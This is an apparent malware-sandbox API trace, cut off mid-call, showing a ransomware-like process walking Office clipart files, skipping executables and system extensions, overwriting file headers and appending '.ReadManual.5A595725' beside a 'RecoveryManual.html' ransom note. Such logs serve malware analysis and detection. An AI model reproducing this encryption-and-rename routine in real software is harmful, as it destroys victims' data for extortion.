QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39497907338) returned 1 [0274.310] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf")) returned 0x20 [0274.311] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.311] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8336) returned 1 [0274.311] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2090, lpName=0x0) returned 0x184 [0274.311] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.312] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.312] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.313] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.313] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2090) returned 0x2f0000 [0274.313] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.314] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39498229247) returned 1 [0274.314] CloseHandle (hObject=0x184) returned 1 [0274.314] SetSecurityInfo () returned 0x57 [0274.314] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.314] CloseHandle (hObject=0x194) returned 1 [0274.314] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x280c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00192_.WMF", cAlternateFileName="")) returned 1 [0274.314] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00192_.WMF" | out: lpString1="SO00192_.WMF") returned="SO00192_.WMF" [0274.314] lstrcmpiW (lpString1="SO00192_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.314] StrStrIW (lpFirst="SO00192_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.314] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.314] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.314] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.314] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.314] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.314] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.314] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.314] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.314] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.314] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.314] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.314] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.314] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.314] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.314] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" [0274.314] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF.ReadManual.5A595725" [0274.314] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF.ReadManual.5A595725") returned 87 [0274.314] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39498320664) returned 1 [0274.314] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf")) returned 0x20 [0274.315] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.315] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10252) returned 1 [0274.315] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x280c, lpName=0x0) returned 0x184 [0274.315] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.316] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.316] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.318] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.318] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x280c) returned 0x2f0000 [0274.319] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.319] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39498751935) returned 1 [0274.319] CloseHandle (hObject=0x184) returned 1 [0274.319] SetSecurityInfo () returned 0x57 [0274.319] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.319] CloseHandle (hObject=0x194) returned 1 [0274.319] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f0d2600, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f0d2600, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x27c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00194_.WMF", cAlternateFileName="")) returned 1 [0274.319] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00194_.WMF" | out: lpString1="SO00194_.WMF") returned="SO00194_.WMF" [0274.319] lstrcmpiW (lpString1="SO00194_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.319] StrStrIW (lpFirst="SO00194_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.319] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.319] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.319] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.319] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.319] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.319] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.319] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.319] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.319] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.319] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.319] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.319] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.319] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.320] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.320] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" [0274.320] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF.ReadManual.5A595725" [0274.320] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF.ReadManual.5A595725") returned 87 [0274.320] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39498841002) returned 1 [0274.320] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf")) returned 0x20 [0274.320] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.320] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10176) returned 1 [0274.320] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x27c0, lpName=0x0) returned 0x184 [0274.320] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.321] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.321] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.323] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.323] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x27c0) returned 0x2f0000 [0274.323] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.323] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39499197268) returned 1 [0274.323] CloseHandle (hObject=0x184) returned 1 [0274.323] SetSecurityInfo () returned 0x57 [0274.323] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.323] CloseHandle (hObject=0x194) returned 1 [0274.324] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x238c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00197_.WMF", cAlternateFileName="")) returned 1 [0274.324] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00197_.WMF" | out: lpString1="SO00197_.WMF") returned="SO00197_.WMF" [0274.324] lstrcmpiW (lpString1="SO00197_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.324] StrStrIW (lpFirst="SO00197_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.324] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.324] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.324] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.324] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.324] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.324] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.324] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.324] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.324] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.324] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.324] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.324] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.324] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.324] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.324] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" [0274.324] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF.ReadManual.5A595725" [0274.324] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF.ReadManual.5A595725") returned 87 [0274.324] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39499287680) returned 1 [0274.324] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf")) returned 0x20 [0274.324] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.325] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9100) returned 1 [0274.325] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x238c, lpName=0x0) returned 0x184 [0274.325] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.326] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.326] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.328] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.328] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x238c) returned 0x2f0000 [0274.328] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.328] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39499699149) returned 1 [0274.328] CloseHandle (hObject=0x184) returned 1 [0274.328] SetSecurityInfo () returned 0x57 [0274.328] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.328] CloseHandle (hObject=0x194) returned 1 [0274.329] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19174500, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19174500, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x15fe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00199_.WMF", cAlternateFileName="")) returned 1 [0274.329] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00199_.WMF" | out: lpString1="SO00199_.WMF") returned="SO00199_.WMF" [0274.329] lstrcmpiW (lpString1="SO00199_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.329] StrStrIW (lpFirst="SO00199_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.329] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.329] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.329] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.329] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.329] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.329] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.329] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.329] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.329] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.329] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.329] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.329] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.329] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.329] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.329] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" [0274.329] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF.ReadManual.5A595725" [0274.329] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF.ReadManual.5A595725") returned 87 [0274.329] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39499793119) returned 1 [0274.329] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf")) returned 0x20 [0274.329] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.330] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5630) returned 1 [0274.330] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15fe, lpName=0x0) returned 0x184 [0274.330] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.331] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.331] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.332] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.332] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15fe) returned 0x2f0000 [0274.332] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.333] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39500135678) returned 1 [0274.333] CloseHandle (hObject=0x184) returned 1 [0274.333] SetSecurityInfo () returned 0x57 [0274.333] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.333] CloseHandle (hObject=0x194) returned 1 [0274.333] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16b4eb00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16b4eb00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x2926, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00200_.WMF", cAlternateFileName="")) returned 1 [0274.333] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00200_.WMF" | out: lpString1="SO00200_.WMF") returned="SO00200_.WMF" [0274.333] lstrcmpiW (lpString1="SO00200_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.333] StrStrIW (lpFirst="SO00200_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.333] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.333] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.333] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.333] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.333] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.333] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.333] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.333] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.333] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.333] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.333] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.333] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.333] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.333] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.333] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" [0274.333] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF.ReadManual.5A595725" [0274.333] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF.ReadManual.5A595725") returned 87 [0274.333] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39500225430) returned 1 [0274.334] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf")) returned 0x20 [0274.334] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.335] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10534) returned 1 [0274.335] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2926, lpName=0x0) returned 0x184 [0274.335] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.336] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.336] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.337] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, 